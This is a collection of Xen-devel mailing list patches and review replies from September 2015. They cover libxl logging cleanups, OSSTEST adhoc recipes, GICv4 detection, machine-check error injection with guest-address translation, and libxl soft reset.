 * pciback_dev_is_assigned
 * pciback_dev_assign
 * pciback_dev_unassign
 * pci_assignable_driver_path_write
 * libxl__device_pci_assignable_remove
 * libxl__xenstore_child_wait_deprecated
 * libxl__xs_libxl_path
 * libxl__device_model_version_running

Special handling for some functions.

 * ao__abort: easier to just use original code.
 * e820_sanitize: should have taken gc instead of ctx


virtual patch
virtual context
virtual org
virtual report

@level1@
identifier FN =~ "LIBXL__LOG|LIBXL__LOG_ERRNO|LIBXL__LOG_ERRNOVAL";
constant l1 =~ "(LIBXL__LOG|XTL)_(DEBUG|INFO|WARNING|ERROR)";
expression ctx;
@@
FN(ctx, l1, ...);

@script:python level2@
l1 << level1.l1;
l2;
@@

import re
coccinelle.l2 = re.sub("LIBXL__LOG_|XTL_", "", l1);
if coccinelle.l2 == "WARNING": coccinelle.l2 = "WARN"

// Transform functions

@log10@
expression fmt;
expression ctx;
constant level1.l1;
identifier level2.l2;
@@
-LIBXL__LOG(ctx, l1, fmt);
+LOG(l2, fmt);

@log11@
expression fmt;
expression ctx;
constant level1.l1;
identifier level2.l2;
expression arg1;
@@
-LIBXL__LOG(ctx, l1, fmt, arg1);
+LOG(l2, fmt, arg1);

@log12@
expression fmt;
expression ctx;
constant level1.l1;
identifier level2.l2;
expression arg1, arg2;
@@
-LIBXL__LOG(ctx, l1, fmt, arg1, arg2);
+LOG(l2, fmt, arg1, arg2);

@log13@
expression fmt;
expression ctx;
constant level1.l1;
identifier level2.l2;
expression arg1, arg2, arg3;
@@
-LIBXL__LOG(ctx, l1, fmt, arg1, arg2, arg3);
+LOG(l2, fmt, arg1, arg2, arg3);

@log20@
expression fmt;
expression ctx;
constant level1.l1;
identifier level2.l2;
@@
-LIBXL__LOG_ERRNO(ctx, l1, fmt);
+LOGE(l2, fmt);

@log21@
expression ctx;
expression fmt;
constant level1.l1;
identifier level2.l2;
expression arg1;
@@
-LIBXL__LOG_ERRNO(ctx, l1, fmt, arg1);
+LOGE(l2, fmt, arg1);

@log22@
expression ctx;
expression fmt;
constant level1.l1;
identifier level2.l2;
expression arg1, arg2;
@@
-LIBXL__LOG_ERRNO(ctx, l1, fmt, arg1, arg2);
+LOGE(l2, fmt, arg1, arg2);

@log23@
expression fmt;
expression ctx;
constant level1.l1;
identifier level2.l2;
expression arg1, arg2, arg3;
@@
-LIBXL__LOG_ERRNO(ctx, l1, fmt, arg1, arg2, arg3);
+LOGE(l2, fmt, arg1, arg2, arg3);

@log30@
expression fmt;
expression ctx;
constant level1.l1;
identifier level2.l2;
expression errnoval;
@@
-LIBXL__LOG_ERRNOVAL(ctx, l1, errnoval, fmt);
+LOGEV(l2, errnoval, fmt);

@log31@
expression fmt;
expression arg1;
expression ctx;
constant level1.l1;
identifier level2.l2;
expression errnoval;
@@
-LIBXL__LOG_ERRNOVAL(ctx, l1, errnoval, fmt, arg1);
+LOGEV(l2, errnoval, fmt, arg1);

@log32@
expression fmt;
expression arg1, arg2;
expression ctx;
constant level1.l1;
identifier level2.l2;
expression errnoval;
@@
-LIBXL__LOG_ERRNOVAL(ctx, l1, errnoval, fmt, arg1, arg2);
+LOGEV(l2, errnoval, fmt, arg1, arg2);
=
---
 tools/libxl/libxl.c  | 386 +++
 tools/libxl/libxl_create.c   |  36 ++--
 tools/libxl/libxl_dm.c   |  47 +++---
 tools/libxl/libxl_dom.c  |  17 +-
 tools/libxl/libxl_event.c|  48 +++---
 tools/libxl/libxl_exec.c |   5 +-
 tools/libxl/libxl_internal.c |  17 +-
 tools/libxl/libxl_pci.c  | 154 -
 tools/libxl/libxl_utils.c|  17 +-
 tools/libxl/libxl_x86.c  |  18 +-
 tools/libxl/libxl_xshelp.c   |   6 +-
 11 files changed, 

[Xen-devel] [PATCH OSSTEST RFC 2/2] sg-run-job: support dropping in adhoc test recipes

[Ian Campbell]

By reading sg-run-job-adhoc if it exists.

Signed-off-by: Ian Campbell 
---
 sg-run-job | 4 
 1 file changed, 4 insertions(+)

diff --git a/sg-run-job b/sg-run-job
index 0b0449b..c51a508 100755
--- a/sg-run-job
+++ b/sg-run-job
@@ -370,6 +370,10 @@ proc run-job/test-rumpuserxen {} {
  ts-guest-destroy-hardhost   $g   +
 }
 
+if {[file exists sg-run-job-adhoc]} {
+source sg-run-job-adhoc
+}
+
 #-- builds --
 
 proc need-hosts/build {} { return BUILD }
-- 
2.5.1


___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

[Xen-devel] [PATCH OSSTEST RFC 0/2] simplify testing with adhoc jobs

[Ian Campbell]

While I was doing some adhoc testing on chardonnay I needed to define some
adhoc recipes and ended up writing the following two patches.

In the end I didn't end up using the first (I just created the job out of
whole cloth rather than copying an existing template and modifying).

For the second I was using an sg-run-job-adhoc containing:
proc need-hosts/adhoc-xen-boot-x5 {} { return host }
proc run-job/adhoc-xen-boot-x5 {} {
repeat-ts 5 xen-boot.repeat \
   ts-host-reboot host \; \
   ts-host-ping-check host 
}
Which arguably could a useful addition to sg-run-job proper.

Anyway, here they are...

We also discussed making it possible to invert the bisector (i.e. to look
for a patch which fixed an issue), in the end by the time I'd done a bit of
adhoc work to narrow the range down to something the bisector wouldn't balk
at I had a pretty good guess which merge commit it was going to be, so
finding the commit was just a few more adhoc jobs.

Ian.

___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

[Xen-devel] [PATCH OSSTEST RFC 1/2] cs-adjust-flight: add recipe-set to adjust the recipe for a set of jobs

[Ian Campbell]

When constructing an adhoc test it may be useful to copy an existing
job's configuration but run it with a custom recipe.

Signed-off-by: Ian Campbell 
---
 cs-adjust-flight | 16 
 1 file changed, 16 insertions(+)

diff --git a/cs-adjust-flight b/cs-adjust-flight
index 9e011c6..662b8e9 100755
--- a/cs-adjust-flight
+++ b/cs-adjust-flight
@@ -12,6 +12,7 @@
 #   runvar-del  
 #   runvar-change
 #   runvar-perlop   
+#   recipe-set  
 #   intended-blessing 
 #
 # :
@@ -276,6 +277,21 @@ sub change__runvar_perlop {
 }, 'IGNORE');
 }
 
+sub change__recipe_set {
+die unless @changes >= 2;
+my $jobs = shift @changes;
+my $recipe = shift @changes;
+
+for_jobs($dstflight, $jobs, sub {
+   my ($job) = @_;
+   $dbh_tests->do("UPDATE jobs".
+  "   SET recipe = ?".
+  " WHERE flight = ? AND job = ?",
+  {}, $recipe, $dstflight, $job);
+   verbose "$dstflight $job recipe set to $recipe\n";
+});
+}
+
 sub change__intended_blessing {
 die unless @changes >= 1;
 my $blessing = shift @changes;
-- 
2.5.1


___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

Re: [Xen-devel] [PATCH 1/2] xen/arm: gic-v3: Clean-up the GIC*_PIDR2_* definitions

[Ian Campbell]

On Mon, 2015-09-14 at 16:32 +0100, Julien Grall wrote:
> GICR_PIDR2 and GICD_PIDR2 use the same register layout. Rather than
> define twice, one of which is an alias to the other, introduce
> GIC_PIDR2_*
> defines.
> 
> Also:
> * Use the same prefix for the mask and the value
> * Integrate the shift in the value to avoid shifting in the code
> * Use GICv* to match the value name in the spec
> * Move them in a proper place
> 
> Signed-off-by: Julien Grall 

Acked-by: Ian Campbell 


___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

Re: [Xen-devel] [PATCH 3/4] x86/mce: Translate passed-in GPA to host machine address

[Haozhong Zhang]

On Tue, Sep 15, 2015 at 11:14:26AM +0200, Egger, Christoph wrote:
> On 2015/09/15 10:29, Haozhong Zhang wrote:
> > This patch adds a new flag MC_MSRINJ_F_GPADDR to
> > xen_mc_msrinject.mcinj_flags, and makes do_mca() to translate the
> > guest physical address passed-in through
> > xen_mc_msrinject.mcinj_msr[i].value to the host machine address if
> > this flag is present.
> >
> > Signed-off-by: Haozhong Zhang 
>
> Comments inline.
>
> > ---
> >  xen/arch/x86/cpu/mcheck/mce.c | 33 
> > +
> >  xen/include/public/arch-x86/xen-mca.h |  5 -
> >  2 files changed, 37 insertions(+), 1 deletion(-)
> >
> > diff --git a/xen/arch/x86/cpu/mcheck/mce.c b/xen/arch/x86/cpu/mcheck/mce.c
> > index 561257d..343d9d2 100644
> > --- a/xen/arch/x86/cpu/mcheck/mce.c
> > +++ b/xen/arch/x86/cpu/mcheck/mce.c
> > @@ -21,6 +21,7 @@
> >  #include 
> >  #include 
> >  #include 
> > +#include 
> >
> >  #include "mce.h"
> >  #include "barrier.h"
> > @@ -1422,6 +1423,38 @@ long do_mca(XEN_GUEST_HANDLE_PARAM(xen_mc_t) 
> > u_xen_mc)
> >  if (mc_msrinject->mcinj_count == 0)
> >  return 0;
> >
> > +if (mc_msrinject->mcinj_flags & MC_MSRINJ_F_GPADDR) {
> > +struct domain *d;
> > +struct mcinfo_msr *msr;
> > +int i;
> > +uint64_t gaddr, gpfn, mfn, haddr;
> > +p2m_type_t t;
> > +
> > +d = get_domain_by_id(mc_msrinject->mcinj_domid);
> > +if (d == NULL)
> > +return x86_mcerr("do_mca inject: illegal domain id", 
> > -EINVAL);
> > +
> > +for (i = 0, msr = _msrinject->mcinj_msr[0];
> > + i < mc_msrinject->mcinj_count; i++, msr++) {
> > +gaddr = msr->value;
> > +gpfn = gaddr >> PAGE_SHIFT;
> > +mfn = mfn_x(get_gfn(d, gpfn, ));
> > +
> > +if (mfn == INVALID_MFN) {
>
>put_gfn(d, gpfn);

Oh, I forgot it in this path and will add in next version.

>
> > +put_domain(d);
> > +return x86_mcerr("do_mca inject: illegal MSR value",
> > + -EINVAL);
> > +}
> > +
> > +haddr = (mfn << PAGE_SHIFT) | (gaddr & (PAGE_SIZE - 1));
> > +msr->value = haddr;
> > +
> > +put_gfn(d, gpfn);
> > +}
> > +
> > +put_domain(d);
> > +}
> > +
> >  if (!x86_mc_msrinject_verify(mc_msrinject))
> >  return x86_mcerr("do_mca inject: illegal MSR", -EINVAL);
> >
> > diff --git a/xen/include/public/arch-x86/xen-mca.h 
> > b/xen/include/public/arch-x86/xen-mca.h
> > index 2422b76..33c1a84 100644
> > --- a/xen/include/public/arch-x86/xen-mca.h
> > +++ b/xen/include/public/arch-x86/xen-mca.h
> > @@ -392,12 +392,15 @@ struct xen_mc_msrinject {
> >  uint32_t mcinj_cpunr;   /* target processor id */
> >  uint32_t mcinj_flags;   /* see MC_MSRINJ_F_* below */
> >  uint32_t mcinj_count;   /* 0 .. count-1 in array are valid */
> > -uint32_t _pad0;
> > +domid_t  mcinj_domid;   /* valid only if MC_MSRINJ_F_GPADDR 
> > presents
> > +   in mcinj_flags */
>
> wording. I prefer "s/presents/is present/"
>

I will fix it in the next version.

> > +uint16_t _pad0;
> >  struct mcinfo_msr mcinj_msr[MC_MSRINJ_MAXMSRS];
> >  };
> >
> >  /* Flags for mcinj_flags above; bits 16-31 are reserved */
> >  #define MC_MSRINJ_F_INTERPOSE   0x1
> > +#define MC_MSRINJ_F_GPADDR  0x2
> >
> >  #define XEN_MC_mceinject5
> >  struct xen_mc_mceinject {
> >
>
> Amazon Development Center Germany GmbH
> Krausenstr. 38
> 10117 Berlin
> Geschaeftsfuehrer: Dr. Ralf Herbrich, Christian Schlaeger
> Ust-ID: DE289237879
> Eingetragen am Amtsgericht Charlottenburg HRB 149173 B
>

___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

Re: [Xen-devel] [PATCH 2/2] xen/arm: gic-v3: Allow Xen to run on hardware reporting GICv4

[Ian Campbell]

On Mon, 2015-09-14 at 16:32 +0100, Julien Grall wrote:
> It seems that there is some hardware which report start to report GICv4

s/report start to reports/reports/ ?

Also, this is an odd way to express it, what you mean is that some hardware
is now shipping with GICv4. Unless you are trying to imply that they are
claiming to be GICv4 without actually being so?

(If we agree on some wording I can modify this text on commit, subject to
the discussion below).

> in the GIC*_PIDR2 register.
> 
> As GICv4 is a superset of GICv3, it should just work on Xen.
> 
> Reported-by: Andre Przywara 
> Signed-off-by: Julien Grall 
> ---
>  xen/arch/arm/gic-v3.c | 4 ++--
>  xen/include/asm-arm/gic_v3_defs.h | 1 +
>  2 files changed, 3 insertions(+), 2 deletions(-)
> 
> diff --git a/xen/arch/arm/gic-v3.c b/xen/arch/arm/gic-v3.c
> index 4d623bf..1e3c19b 100644
> --- a/xen/arch/arm/gic-v3.c
> +++ b/xen/arch/arm/gic-v3.c
> @@ -640,7 +640,7 @@ static int __init gicv3_populate_rdist(void)
>  void __iomem *ptr = gicv3.rdist_regions[i].map_base;
>  
>  reg = readl_relaxed(ptr + GICR_PIDR2) & GIC_PIDR2_ARCH_MASK;
> -if ( reg != GIC_PIDR2_ARCH_GICv3 )
> +if ( reg != GIC_PIDR2_ARCH_GICv3 && reg != GIC_PIDR2_ARCH_GICv4 )

Once we have GICv5, 6, etc this is going to get unwieldy, shall we switch
to a switch now?

>  {
>  dprintk(XENLOG_ERR,
>  "GICv3: No redistributor present @%"PRIpaddr"\n",

I wonder if GICv3 ought to become GICv%d, on the other hand this is really
the GICv3 driver driving a v4 in v3 "mode", so maybe v3 is the best
logging.


___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

Re: [Xen-devel] [PULL 0/19] xen-2015-09-08-tag

[Stefano Stabellini]

On Mon, 14 Sep 2015, Paolo Bonzini wrote:
> On 10/09/2015 12:29, Stefano Stabellini wrote:
> > +if (lseek(config_fd, pos, SEEK_SET) != pos) {
> > +return -errno;
> > +}
> >  do {
> > -rc = pread(config_fd, (uint8_t *), len, pos);
> > +rc = read(config_fd, (uint8_t *), len);
> >  } while (rc < 0 && (errno == EINTR || errno == EAGAIN));
> 
> This leaks config_fd.

I don't follow, it leaks config_fd where?

___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

Re: [Xen-devel] [PATCH 4/4] tools/xen-mceinj: Pass in GPA when injecting through MSR_MCI_ADDR

[Wei Liu]

I don't know this piece of code so my comments might be stupid.

On Tue, Sep 15, 2015 at 04:29:40PM +0800, Haozhong Zhang wrote:
> This patch removes the address translation in xen-mceinj which
> translates the guest physical address passed-in through the argument
> of '-p' to the host machine address.
> 

Is the translation functionality broken or superseded by hardware
support? What is the reason for removing this piece of (working?) code?

(I haven't looked at the code)

Wei.

___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

[Xen-devel] [PATCH 1/4] x86/mce: Fix code style

[Haozhong Zhang]

Remove trailing spaces and fix indentations in mce.c and xen-mca.h.

Signed-off-by: Haozhong Zhang 
---
 xen/arch/x86/cpu/mcheck/mce.c | 10 +-
 xen/include/public/arch-x86/xen-mca.h | 28 ++--
 2 files changed, 19 insertions(+), 19 deletions(-)

diff --git a/xen/arch/x86/cpu/mcheck/mce.c b/xen/arch/x86/cpu/mcheck/mce.c
index 7c2cacc..561257d 100644
--- a/xen/arch/x86/cpu/mcheck/mce.c
+++ b/xen/arch/x86/cpu/mcheck/mce.c
@@ -105,7 +105,7 @@ void x86_mce_callback_register(x86_mce_callback_t cbfunc)
 mc_callback_bank_extended = cbfunc;
 }
 
-/* Machine check recoverable judgement callback handler
+/* Machine check recoverable judgement callback handler
  * It is used to judge whether an UC error is recoverable by software
  */
 static mce_recoverable_t mc_recoverable_scan = NULL;
@@ -160,9 +160,9 @@ static void mcabank_clear(int banknum)
 }
 
 /* Judging whether to Clear Machine Check error bank callback handler
- * According to Intel latest MCA OS Recovery Writer's Guide,
+ * According to Intel latest MCA OS Recovery Writer's Guide,
  * whether the error MCA bank needs to be cleared is decided by the mca_source
- * and MCi_status bit value.
+ * and MCi_status bit value.
  */
 static mce_need_clearbank_t mc_need_clearbank_scan = NULL;
 
@@ -535,7 +535,7 @@ void mcheck_cmn_handler(const struct cpu_user_regs *regs)
 }
 atomic_set(_error, 0);
 }
-mce_barrier_exit(_trap_bar);
+mce_barrier_exit(_trap_bar);
 
 /* Clear flags after above fatal check */
 mce_barrier_enter(_trap_bar);
@@ -891,7 +891,7 @@ void x86_mcinfo_dump(struct mc_info *mi)
"CPU%d: Machine Check Exception: %16"PRIx64"\n",
mc_global->mc_coreid, mc_global->mc_gstatus);
 } else if (mc_global->mc_flags & MC_FLAG_CMCI) {
-printk(XENLOG_WARNING "CMCI occurred on CPU %d.\n",
+printk(XENLOG_WARNING "CMCI occurred on CPU %d.\n",
mc_global->mc_coreid);
 } else if (mc_global->mc_flags & MC_FLAG_POLLED) {
 printk(XENLOG_WARNING "POLLED occurred on CPU %d.\n",
diff --git a/xen/include/public/arch-x86/xen-mca.h 
b/xen/include/public/arch-x86/xen-mca.h
index 04382ed..2422b76 100644
--- a/xen/include/public/arch-x86/xen-mca.h
+++ b/xen/include/public/arch-x86/xen-mca.h
@@ -1,11 +1,11 @@
 /**
  * arch-x86/mca.h
- *
+ *
  * Contributed by Advanced Micro Devices, Inc.
  * Author: Christoph Egger 
  *
  * Guest OS machine check interface to x86 Xen.
- *
+ *
  * Permission is hereby granted, free of charge, to any person obtaining a copy
  * of this software and associated documentation files (the "Software"), to
  * deal in the Software without restriction, including without limitation the
@@ -156,7 +156,7 @@ struct mcinfo_msr {
 };
 
 /* contains mc information from other
- * or additional mc MSRs */
+ * or additional mc MSRs */
 struct mcinfo_extended {
 struct mcinfo_common common;
 
@@ -193,10 +193,10 @@ struct mcinfo_extended {
 /* L3 cache disable Action */
 #define MC_ACTION_CACHE_SHRINK (0x1 << 2)
 
-/* Below interface used between XEN/DOM0 for passing XEN's recovery action
- * information to DOM0.
+/* Below interface used between XEN/DOM0 for passing XEN's recovery action
+ * information to DOM0.
  * usage Senario: After offlining broken page, XEN might pass its page offline
- * recovery action result to DOM0. DOM0 will save the information in
+ * recovery action result to DOM0. DOM0 will save the information in
  * non-volatile memory for further proactive actions, such as offlining the
  * easy broken page earlier when doing next reboot.
 */
@@ -255,8 +255,8 @@ DEFINE_XEN_GUEST_HANDLE(mc_info_t);
 #define MC_CAPS_AMD_ECX6   /* cpuid level 0x8001 (%ecx) */
 
 struct mcinfo_logical_cpu {
-uint32_t mc_cpunr;
-uint32_t mc_chipid;
+uint32_t mc_cpunr;
+uint32_t mc_chipid;
 uint16_t mc_coreid;
 uint16_t mc_threadid;
 uint32_t mc_apicid;
@@ -281,7 +281,7 @@ typedef struct mcinfo_logical_cpu xen_mc_logical_cpu_t;
 DEFINE_XEN_GUEST_HANDLE(xen_mc_logical_cpu_t);
 
 
-/*
+/*
  * OS's should use these instead of writing their own lookup function
  * each with its own bugs and drawbacks.
  * We use macros instead of static inline functions to allow guests
@@ -389,11 +389,11 @@ struct xen_mc_physcpuinfo {
 #define MC_MSRINJ_MAXMSRS   8
 struct xen_mc_msrinject {
/* IN */
-   uint32_t mcinj_cpunr;   /* target processor id */
-   uint32_t mcinj_flags;   /* see MC_MSRINJ_F_* below */
-   uint32_t mcinj_count;   /* 0 .. count-1 in array are valid */
-   uint32_t _pad0;
-   struct mcinfo_msr mcinj_msr[MC_MSRINJ_MAXMSRS];
+uint32_t mcinj_cpunr;   /* target processor id */
+uint32_t mcinj_flags;   /* see MC_MSRINJ_F_* below */
+uint32_t mcinj_count;   /* 0 .. 

[Xen-devel] [PATCH 3/4] x86/mce: Translate passed-in GPA to host machine address

[Haozhong Zhang]

This patch adds a new flag MC_MSRINJ_F_GPADDR to
xen_mc_msrinject.mcinj_flags, and makes do_mca() to translate the
guest physical address passed-in through
xen_mc_msrinject.mcinj_msr[i].value to the host machine address if
this flag is present.

Signed-off-by: Haozhong Zhang 
---
 xen/arch/x86/cpu/mcheck/mce.c | 33 +
 xen/include/public/arch-x86/xen-mca.h |  5 -
 2 files changed, 37 insertions(+), 1 deletion(-)

diff --git a/xen/arch/x86/cpu/mcheck/mce.c b/xen/arch/x86/cpu/mcheck/mce.c
index 561257d..343d9d2 100644
--- a/xen/arch/x86/cpu/mcheck/mce.c
+++ b/xen/arch/x86/cpu/mcheck/mce.c
@@ -21,6 +21,7 @@
 #include 
 #include 
 #include 
+#include 
 
 #include "mce.h"
 #include "barrier.h"
@@ -1422,6 +1423,38 @@ long do_mca(XEN_GUEST_HANDLE_PARAM(xen_mc_t) u_xen_mc)
 if (mc_msrinject->mcinj_count == 0)
 return 0;
 
+if (mc_msrinject->mcinj_flags & MC_MSRINJ_F_GPADDR) {
+struct domain *d;
+struct mcinfo_msr *msr;
+int i;
+uint64_t gaddr, gpfn, mfn, haddr;
+p2m_type_t t;
+
+d = get_domain_by_id(mc_msrinject->mcinj_domid);
+if (d == NULL)
+return x86_mcerr("do_mca inject: illegal domain id", -EINVAL);
+
+for (i = 0, msr = _msrinject->mcinj_msr[0];
+ i < mc_msrinject->mcinj_count; i++, msr++) {
+gaddr = msr->value;
+gpfn = gaddr >> PAGE_SHIFT;
+mfn = mfn_x(get_gfn(d, gpfn, ));
+
+if (mfn == INVALID_MFN) {
+put_domain(d);
+return x86_mcerr("do_mca inject: illegal MSR value",
+ -EINVAL);
+}
+
+haddr = (mfn << PAGE_SHIFT) | (gaddr & (PAGE_SIZE - 1));
+msr->value = haddr;
+
+put_gfn(d, gpfn);
+}
+
+put_domain(d);
+}
+
 if (!x86_mc_msrinject_verify(mc_msrinject))
 return x86_mcerr("do_mca inject: illegal MSR", -EINVAL);
 
diff --git a/xen/include/public/arch-x86/xen-mca.h 
b/xen/include/public/arch-x86/xen-mca.h
index 2422b76..33c1a84 100644
--- a/xen/include/public/arch-x86/xen-mca.h
+++ b/xen/include/public/arch-x86/xen-mca.h
@@ -392,12 +392,15 @@ struct xen_mc_msrinject {
 uint32_t mcinj_cpunr;   /* target processor id */
 uint32_t mcinj_flags;   /* see MC_MSRINJ_F_* below */
 uint32_t mcinj_count;   /* 0 .. count-1 in array are valid */
-uint32_t _pad0;
+domid_t  mcinj_domid;   /* valid only if MC_MSRINJ_F_GPADDR 
presents
+   in mcinj_flags */
+uint16_t _pad0;
 struct mcinfo_msr mcinj_msr[MC_MSRINJ_MAXMSRS];
 };
 
 /* Flags for mcinj_flags above; bits 16-31 are reserved */
 #define MC_MSRINJ_F_INTERPOSE   0x1
+#define MC_MSRINJ_F_GPADDR  0x2
 
 #define XEN_MC_mceinject5
 struct xen_mc_mceinject {
-- 
2.4.8


___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

Re: [Xen-devel] [PATCH v11 11/11] (lib)xl: soft reset support

[Ian Campbell]

On Mon, 2015-09-14 at 17:15 +0100, Wei Liu wrote:
> FYI all other patches of this series were applied by Jan. You only need
> to resend this one.

Jan,

I appreciate you do not want to do so routinely for all commits you make
but when you are partially applying a series it would be very useful if you
could drop a line to the thread (i.e. the 00/NN mail) explaining what you
have applied vs not applied. Particularly when it is ten elevenths of the
series and so easy to miss that the eleventh patch has not been included.

I was under the incorrect impression that all 11 patches had gone in so had
removed this work from my queue.

Thanks,
Ian.

> 
> See below for a few comments.
> 
> On Fri, Sep 04, 2015 at 03:39:51PM +0200, Vitaly Kuznetsov wrote:
> > Use existing create/restore path to perform 'soft reset' for HVM
> > domains. Tear everything down, e.g. destroy domain's device model,
> > remove the domain from xenstore, save toolstack record and start
> > over.
> > 
> > Signed-off-by: Vitaly Kuznetsov 
> > ---
> > Changes since v10:
> > - Adapt to 'migration v2' changes.
> > - Use LIBXL_DEVICE_MODEL_SAVE_FILE as Qemu save file (and rename it to
> >   LIBXL_DEVICE_MODEL_RESTORE_FILE later) to support stubdom case (as
> >   we connect consoles to both files on create.
> > - Fix coding style, minor description change in xl.cfg.pod.5 [Wei Liu]
> > 
> > Signed-off-by: Vitaly Kuznetsov 
> > ---
> >  docs/man/xl.cfg.pod.5|   8 +-
> >  tools/libxl/libxl.c  |  22 -
> >  tools/libxl/libxl.h  |  15 
> >  tools/libxl/libxl_create.c   | 192
> > ++-
> >  tools/libxl/libxl_internal.h |   4 +
> >  tools/libxl/libxl_types.idl  |   2 +
> >  tools/libxl/xl.h |   1 +
> >  tools/libxl/xl_cmdimpl.c |  25 +-
> >  8 files changed, 242 insertions(+), 27 deletions(-)
> > 
> > diff --git a/docs/man/xl.cfg.pod.5 b/docs/man/xl.cfg.pod.5
> > index c6345b8..d8c4186 100644
> > --- a/docs/man/xl.cfg.pod.5
> > +++ b/docs/man/xl.cfg.pod.5
> > @@ -349,6 +349,12 @@ destroy the domain.
> >  write a "coredump" of the domain to F and then
> >  restart the domain.
> >  
> > +=item B
> > +
> > +Reset all Xen specific interfaces for the Xen-aware HVM domain
> > allowing
> > +it to reestablish these interfaces and continue executing the domain.
> > PV
> > +guest is not supported.
> > +
> 
> And "non-Xen-aware HVM will crash" ?  If there is no definite answer to
> guest state maybe just saying "PV guest and non-Xen-aware HVM guests are
> not supported" ?
> 
> It's important to let user know about the consequence because libxl
> doesn't actually stop you from soft-resetting a HVM guest that is not
> Xen-aware.
> 
> [...]
> > +static int do_domain_soft_reset(libxl_ctx *ctx,
> > +libxl_domain_config *d_config,
> > +uint32_t domid_soft_reset,
> > +const libxl_asyncop_how *ao_how,
> > +const libxl_asyncprogress_how
> > +*aop_console_how)
> > +{
> > +AO_CREATE(ctx, 0, ao_how);
> > +libxl__domain_soft_reset_state *srs;
> > +libxl__app_domain_create_state *cdcs;
> > +libxl__domain_create_state *dcs;
> > +libxl__domain_build_state *state;
> > +libxl__domain_suspend_state *dss;
> > +char *dom_path, *xs_store_mfn, *xs_console_mfn;
> > +uint32_t domid_out;
> > +int rc;
> > +
> > +GCNEW(srs);
> > +cdcs = >cdcs;
> > +dcs = >dcs;
> > +state = >build_state;
> > +dss = >dss;
> > +
> > +srs->cdcs.dcs.ao = ao;
> > +srs->cdcs.dcs.guest_config = d_config;
> > +libxl_domain_config_init(>cdcs.dcs.guest_config_saved);
> > +libxl_domain_config_copy(ctx, >cdcs.dcs.guest_config_saved,
> > + d_config);
> > +cdcs->dcs.restore_fd = -1;
> > +cdcs->dcs.domid_soft_reset = domid_soft_reset;
> > +cdcs->dcs.callback = domain_create_cb;
> > +libxl__ao_progress_gethow(>cdcs.dcs.aop_console_how,
> > +  aop_console_how);
> > +cdcs->domid_out = _out;
> > +
> > +dom_path = libxl__xs_get_dompath(gc, domid_soft_reset);
> > +if (!dom_path) {
> > +LOG(ERROR, "failed to read domain path");
> > +return AO_CREATE_FAIL(ERROR_FAIL);
> 
> Sorry for not noticing this earlier. My bad and apologise.
> 
> This should be
> 
>if (!dom_path) {
>LOG(...);
>rc = ERROR_FAIL;
>  goto out;
>}
> 
> I.e. please use goto style error handling.
> 
> > +}
> > +
> > +xs_store_mfn = xs_read(ctx->xsh, XBT_NULL,
> > +   GCSPRINTF("%s/store/ring-ref", dom_path),
> > +   NULL);
> > +state->store_mfn = xs_store_mfn ? atol(xs_store_mfn): 0;
> > +free(xs_store_mfn);
> > +
> > +xs_console_mfn = xs_read(ctx->xsh, XBT_NULL,
> > + 

Re: [Xen-devel] [PATCH 2/4] tools/mceinject: Fix code style

[Egger, Christoph]

On 2015/09/15 10:29, Haozhong Zhang wrote:
> Remove trailing spaces in xen-mceinj.c.
> 
> Signed-off-by: Haozhong Zhang 

Acked-by: Christoph Egger 

> ---
>  tools/tests/mce-test/tools/xen-mceinj.c | 16 
>  1 file changed, 8 insertions(+), 8 deletions(-)
> 
> diff --git a/tools/tests/mce-test/tools/xen-mceinj.c 
> b/tools/tests/mce-test/tools/xen-mceinj.c
> index e2e49cb..0c2b640 100644
> --- a/tools/tests/mce-test/tools/xen-mceinj.c
> +++ b/tools/tests/mce-test/tools/xen-mceinj.c
> @@ -13,7 +13,7 @@
>   *
>   * You should have received a copy of the GNU General Public License along 
> with
>   * this program; If not, see .
> - * 
> + *
>   * Authors: Yunhong Jiang 
>   *  Haicheng Li 
>   *  Xudong Hao 
> @@ -300,7 +300,7 @@ static uint64_t guest_mfn(xc_interface *xc_handle,
>  return MCE_INVALID_MFN;
>  
>  /* Get max gpfn */
> -max_gpfn = do_memory_op(xc_handle, XENMEM_maximum_gpfn, , 
> +max_gpfn = do_memory_op(xc_handle, XENMEM_maximum_gpfn, ,
> sizeof(domain)) + 1;
>  if ( max_gpfn <= 0 )
>  err(xc_handle, "Failed to get max_gpfn 0x%lx", max_gpfn);
> @@ -360,7 +360,7 @@ static uint64_t mca_gpfn_to_mfn(xc_interface *xc_handle,
>  if ( domain == DOMID_XEN )
>  return gfn;
>  
> -max_gpfn = do_memory_op(xc_handle, XENMEM_maximum_gpfn, , 
> +max_gpfn = do_memory_op(xc_handle, XENMEM_maximum_gpfn, ,
> sizeof(domain)) + 1;
>  if ( max_gpfn <= 0 )
>  err(xc_handle, "Failed to get max_gpfn 0x%lx", max_gpfn);
> @@ -383,7 +383,7 @@ static int inject_mci_status(xc_interface *xc_handle,
>   uint64_t val)
>  {
>  return add_msr_bank_intpose(xc_handle, cpu_nr, MC_MSRINJ_F_INTERPOSE,
> -MCi_type_STATUS, bank, val); 
> +MCi_type_STATUS, bank, val);
>  }
>  
>  static int inject_mci_misc(xc_interface *xc_handle,
> @@ -392,7 +392,7 @@ static int inject_mci_misc(xc_interface *xc_handle,
>   uint64_t val)
>  {
>  return add_msr_bank_intpose(xc_handle, cpu_nr, MC_MSRINJ_F_INTERPOSE,
> -MCi_type_MISC, bank, val); 
> +MCi_type_MISC, bank, val);
>  }
>  
>  static int inject_mci_addr(xc_interface *xc_handle,
> @@ -401,7 +401,7 @@ static int inject_mci_addr(xc_interface *xc_handle,
>   uint64_t val)
>  {
>  return add_msr_bank_intpose(xc_handle, cpu_nr, MC_MSRINJ_F_INTERPOSE,
> -MCi_type_ADDR, bank, val); 
> +MCi_type_ADDR, bank, val);
>  }
>  
>  static int inject(xc_interface *xc_handle, struct mce_info *mce,
> @@ -553,7 +553,7 @@ int main(int argc, char *argv[])
>  return 0;
>  }
>  }
> -
> +
